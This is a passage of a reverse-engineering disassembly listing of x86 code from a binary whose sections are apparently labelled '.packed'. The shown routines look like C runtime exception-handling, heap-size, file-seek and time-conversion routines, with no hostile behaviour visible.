loc_422942:				; CODE XREF: sub_422911+2Cj
		call	sub_41D0A0
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_42285D
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_42298C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422987
		push	edi
		push	eax
		call	sub_41D05E


loc_422987:				; CODE XREF: sub_422911+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422911	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42298C	proc near		; CODE XREF: sub_422911+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4288E0
		push	offset sub_423D9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DE0D4
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DE0D8
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DE0D4, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DE0D8, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D125
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422A52
		mov	eax, [ebp+var_2C]


loc_422A19:				; CODE XREF: sub_422A32+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42298C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A28	proc near		; DATA XREF: .packed:004288F0o
		push	dword ptr [ebp-14h]
		call	sub_422A98
		pop	ecx
		retn
sub_422A28	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A32	proc near		; DATA XREF: .packed:004288F4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D386
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422A19
sub_422A32	endp

; ---------------------------------------------------------------------------


loc_422A4A:				; DATA XREF: .packed:004288E8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422A52	proc near		; CODE XREF: sub_42298C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DE0D4, eax
		mov	eax, [ebp-20h]
		mov	dword_4DE0D8, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422A97
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422A97
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422A97
		cmp	[ebp-24h], ebx
		jnz	short locret_422A97
		cmp	[ebp-2Ch], ebx
		jz	short locret_422A97
		call	sub_41D3EE
		push	eax
		push	edi
		call	sub_422C86
		pop	ecx
		pop	ecx

locret_422A97:				; CODE XREF: sub_422A52+1Cj
					; sub_422A52+22j ...
		retn
sub_422A52	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A98	proc near		; CODE XREF: sub_422A28+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422ABF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422ABF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422ABF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422ABF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422ABF:				; CODE XREF: sub_422A98+Cj
					; sub_422A98+12j ...
		xor	eax, eax
		retn
sub_422A98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422AC2	proc near		; CODE XREF: sub_422911+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4288F8
		push	offset sub_423D9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422C6B
		cmp	byte ptr [eax+8], 0
		jz	loc_422C6B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422C6B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422B5F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424FA0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422C62
		push	1
		push	edi
		call	sub_424FBC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422C62
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422B50:				; CODE XREF: sub_422AC2+F5j
		push	eax
		call	sub_422CED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422C67
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422AC2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422BB9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424FA0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422C62
		push	1
		push	edi
		call	sub_424FBC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422C62
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D460
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422C67
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422C67
		add	esi, 8
		push	esi
		jmp	short loc_422B50
; ---------------------------------------------------------------------------


loc_422BB9:				; CODE XREF: sub_422AC2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422C01
		call	sub_424FA0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422C62
		push	1
		push	edi
		call	sub_424FBC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422C62
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422CED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D460
		add	esp, 0Ch
		jmp	short loc_422C67
; ---------------------------------------------------------------------------


loc_422C01:				; CODE XREF: sub_422AC2+103j
		call	sub_424FA0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422C62
		push	1
		push	edi
		call	sub_424FBC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422C62
		push	dword ptr [esi+18h]
		call	sub_424FD8
		pop	ecx
		test	eax, eax
		jz	short loc_422C62
		test	byte ptr [esi],	4
		jz	short loc_422C48
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422CED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D099
		jmp	short loc_422C67
; ---------------------------------------------------------------------------


loc_422C48:				; CODE XREF: sub_422AC2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422CED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D092
		jmp	short loc_422C67
; ---------------------------------------------------------------------------


loc_422C62:				; CODE XREF: sub_422AC2+6Aj
					; sub_422AC2+7Cj ...
		call	sub_422DB2


loc_422C67:				; CODE XREF: sub_422AC2+98j
					; sub_422AC2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422C6B:				; CODE XREF: sub_422AC2+2Ej
					; sub_422AC2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422AC2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422D5C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C86	proc near		; CODE XREF: sub_4225B1+170p
					; sub_422A52+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428908
		push	offset sub_423D9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422CCD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422CCD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D092
		or	[ebp+var_4], 0FFFFFFFFh


loc_422CCD:				; CODE XREF: sub_422C86+2Aj
					; sub_422C86+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C86	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422D5C

; =============== S U B	R O U T	I N E =======================================



sub_422CED	proc near		; CODE XREF: sub_422AC2+8Fp
					; sub_422AC2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422D0E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422D0E:				; CODE XREF: sub_422CED+12j
		pop	esi
		retn
sub_422CED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D10	proc near		; CODE XREF: sub_41D125+40p
					; sub_42285D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D411
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422D4F
		mov	ecx, 2


loc_422D4F:				; CODE XREF: sub_422D10+38j
		push	ecx
		call	sub_41D411
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D5C	proc near		; CODE XREF: sub_4225B1:loc_422753j
					; sub_4228FB:loc_42290Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FF0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428918
		push	offset sub_423D9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DE0E0
		test	eax, eax
		jz	short loc_422DA4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422DA0
; ---------------------------------------------------------------------------


loc_422D99:				; DATA XREF: .packed:00428928o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422D9D:				; DATA XREF: .packed:0042892Co
		mov	esp, [ebp+var_18]


loc_422DA0:				; CODE XREF: sub_422D5C+3Bj
		and	[ebp+var_4], 0


loc_422DA4:				; CODE XREF: sub_422D5C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422DAD:				; DATA XREF: .packed:00428920o
		jmp	loc_424FF0
sub_422D5C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB2	proc near		; CODE XREF: sub_41D2C7+23p
					; sub_41D2C7:loc_41D332p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428930
		push	offset sub_423D9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43F5B4
		test	eax, eax
		jz	short loc_422DFA
		mov	[ebp+var_4], 1
		call	eax ; sub_422D5C
		jmp	short loc_422DF6
; ---------------------------------------------------------------------------


loc_422DEF:				; DATA XREF: .packed:00428940o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422DF3:				; DATA XREF: .packed:00428944o
		mov	esp, [ebp+var_18]


loc_422DF6:				; CODE XREF: sub_422DB2+3Bj
		and	[ebp+var_4], 0


loc_422DFA:				; CODE XREF: sub_422DB2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E03:				; DATA XREF: .packed:00428938o
		jmp	sub_422D5C
sub_422DB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E08	proc near		; CODE XREF: sub_41D7A3+7p
					; sub_41D7A3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DF6C8
		push	esi
		cmp	eax, 3
		jnz	short loc_422E31
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E677
		test	eax, eax
		pop	ecx
		jz	short loc_422E2E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422E66
; ---------------------------------------------------------------------------


loc_422E2E:				; CODE XREF: sub_422E08+1Cj
		push	esi
		jmp	short loc_422E58
; ---------------------------------------------------------------------------


loc_422E31:				; CODE XREF: sub_422E08+Ej
		cmp	eax, 2
		jnz	short loc_422E55
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F3D2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422E55
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422E66
; ---------------------------------------------------------------------------


loc_422E55:				; CODE XREF: sub_422E08+2Cj
					; sub_422E08+43j
		push	[ebp+arg_0]


loc_422E58:				; CODE XREF: sub_422E08+27j
		push	0
		push	dword_4DF6C4
		call	dword_428058	; RtlSizeHeap


loc_422E66:				; CODE XREF: sub_422E08+24j
					; sub_422E08+4Bj
		pop	esi
		leave
		retn
sub_422E08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E69	proc near		; CODE XREF: sub_41D851+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422F25
		cmp	ebx, 8Ah
		jg	loc_422F25
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43FA7C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_422EA8
		cmp	edi, 2
		jle	short loc_422EA8
		inc	esi


loc_422EA8:				; CODE XREF: sub_422E69+37j
					; sub_422E69+3Cj
		call	sub_425007
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43F998
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_422F1B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422F21
		cmp	dword_43F99C, 0
		jz	short loc_422F21
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42527A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422F21


loc_422F1B:				; CODE XREF: sub_422E69+90j
		add	ecx, dword_43F9A0


loc_422F21:				; CODE XREF: sub_422E69+96j
					; sub_422E69+9Fj ...
		mov	eax, ecx
		jmp	short loc_422F28
; ---------------------------------------------------------------------------


loc_422F25:				; CODE XREF: sub_422E69+13j
					; sub_422E69+1Fj
		or	eax, 0FFFFFFFFh


loc_422F28:				; CODE XREF: sub_422E69+BAj
		pop	ebx
		leave
		retn
sub_422E69	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F2B	proc near		; DATA XREF: .packed:0042A02Co
		mov	eax, dword_4DF480
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_422F3F
		mov	eax, 200h
		jmp	short loc_422F45
; ---------------------------------------------------------------------------


loc_422F3F:				; CODE XREF: sub_422F2B+Bj
		cmp	eax, esi
		jge	short loc_422F4A
		mov	eax, esi


loc_422F45:				; CODE XREF: sub_422F2B+12j
		mov	dword_4DF480, eax


loc_422F4A:				; CODE XREF: sub_422F2B+16j
		push	4
		push	eax
		call	sub_425566
		pop	ecx
		mov	dword_4DE464, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_422F7E
		push	4
		push	esi
		mov	dword_4DF480, esi
		call	sub_425566
		pop	ecx
		mov	dword_4DE464, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_422F7E
		push	1Ah
		call	sub_41E229
		pop	ecx


loc_422F7E:				; CODE XREF: sub_422F2B+30j
					; sub_422F2B+49j
		xor	ecx, ecx
		mov	eax, offset off_43F5B8


loc_422F85:				; CODE XREF: sub_422F2B+6Ej
		mov	edx, dword_4DE464
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43F838
		jl	short loc_422F85
		xor	edx, edx
		mov	ecx, offset dword_43F5C8


loc_422FA2:				; CODE XREF: sub_422F2B+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DE360[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_422FBF
		test	eax, eax
		jnz	short loc_422FC2


loc_422FBF:				; CODE XREF: sub_422F2B+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_422FC2:				; CODE XREF: sub_422F2B+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43F628
		jl	short loc_422FA2
		pop	esi
		retn
sub_422F2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_422FD0	proc near		; DATA XREF: .packed:0042A03Co

; FUNCTION CHUNK AT 00425617 SIZE 00000058 BYTES

		call	sub_41E3E7
		cmp	byte_4DE06C, 0
		jz	short locret_422FE3
		jmp	loc_425617
; ---------------------------------------------------------------------------

locret_422FE3:				; CODE XREF: sub_422FD0+Cj
		retn
sub_422FD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422FE4	proc near		; CODE XREF: sub_41D9ED+67p
					; sub_41F91C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DE460
		push	esi
		push	edi
		jnb	short loc_423066
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DE360h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_423066
		push	eax
		call	sub_424186
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_423028
		mov	dword_4DE02C, 9
		jmp	short loc_423077
; ---------------------------------------------------------------------------


loc_423028:				; CODE XREF: sub_422FE4+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_428120	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423048
		call	dword_42808C	; RtlGetLastWin32Error
		jmp	short loc_42304A
; ---------------------------------------------------------------------------


loc_423048:				; CODE XREF: sub_422FE4+5Aj
		xor	eax, eax


loc_42304A:				; CODE XREF: sub_422FE4+62j
		test	eax, eax
		jz	short loc_423057
		push	eax
		call	sub_420BDF
		pop	ecx
		jmp	short loc_423077
; ---------------------------------------------------------------------------


loc_423057:				; CODE XREF: sub_422FE4+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_42307A
; ---------------------------------------------------------------------------


loc_423066:				; CODE XREF: sub_422FE4+Dj
					; sub_422FE4+2Aj
		and	dword_4DE030, 0
		mov	dword_4DE02C, 9


loc_423077:				; CODE XREF: sub_422FE4+42j
					; sub_422FE4+71j
		or	eax, 0FFFFFFFFh


loc_42307A:				; CODE XREF: sub_422FE4+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422FE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42307E	proc near		; CODE XREF: sub_41D9ED+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_42309A
		mov	[edi+4], ebx


loc_42309A:				; CODE XREF: sub_42307E+17j
		push	1
		push	ebx
		push	esi
		call	sub_422FE4
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_423108
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_4230BF
		sub	eax, [edi+4]
		jmp	loc_4231D1
; ---------------------------------------------------------------------------


loc_4230BF:				; CODE XREF: sub_42307E+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_4230F9
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DE360[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423110
		mov	edx, ecx


loc_4230EA:				; CODE XREF: sub_42307E+79j
		cmp	edx, eax
		jnb	short loc_423110
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_4230F6
		inc	[ebp+var_8]


loc_4230F6:				; CODE XREF: sub_42307E+73j
		inc	edx
		jmp	short loc_4230EA
; ---------------------------------------------------------------------------


loc_4230F9:				; CODE XREF: sub_42307E+50j
		test	dl, 80h
		jnz	short loc_423110
		mov	dword_4DE02C, 16h


loc_423108:				; CODE XREF: sub_42307E+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4231D1
; ---------------------------------------------------------------------------


loc_423110:				; CODE XREF: sub_42307E+68j
					; sub_42307E+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_42311E
		mov	eax, [ebp+var_8]
		jmp	loc_4231D1
; ---------------------------------------------------------------------------


loc_42311E:				; CODE XREF: sub_42307E+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_4231C9
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_423137
		and	[ebp+var_8], edx
		jmp	loc_4231C9
; ---------------------------------------------------------------------------


loc_423137:				; CODE XREF: sub_42307E+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DE360h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4231C3
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422FE4
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_42318A
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_423175:				; CODE XREF: sub_42307E+104j
		cmp	eax, ecx
		jnb	short loc_423184
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_423181
		inc	[ebp+arg_0]


loc_423181:				; CODE XREF: sub_42307E+FEj
		inc	eax
		jmp	short loc_423175
; ---------------------------------------------------------------------------


loc_423184:				; CODE XREF: sub_42307E+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4231BE
; ---------------------------------------------------------------------------


loc_42318A:				; CODE XREF: sub_42307E+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422FE4
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4231B1
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4231B1
		test	ch, 4
		jz	short loc_4231B4


loc_4231B1:				; CODE XREF: sub_42307E+124j
					; sub_42307E+12Cj
		mov	eax, [edi+18h]


loc_4231B4:				; CODE XREF: sub_42307E+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4231BE:				; CODE XREF: sub_42307E+10Aj
		jz	short loc_4231C3
		inc	[ebp+arg_0]


loc_4231C3:				; CODE XREF: sub_42307E+D9j
					; sub_42307E:loc_4231BEj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4231C9:				; CODE XREF: sub_42307E+A4j
					; sub_42307E+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4231D1:				; CODE XREF: sub_42307E+3Cj
					; sub_42307E+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42307E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4231D6	proc near		; CODE XREF: sub_41DAB4+A2p
					; sub_41E38B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DE460
		push	esi
		push	edi
		jnb	loc_42336A
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DE360h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42336A
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_423227


loc_423220:				; CODE XREF: sub_4231D6+177j
		xor	eax, eax
		jmp	loc_42337E
; ---------------------------------------------------------------------------


loc_423227:				; CODE XREF: sub_4231D6+48j
		test	al, 20h
		jz	short loc_423237
		push	2
		push	edi
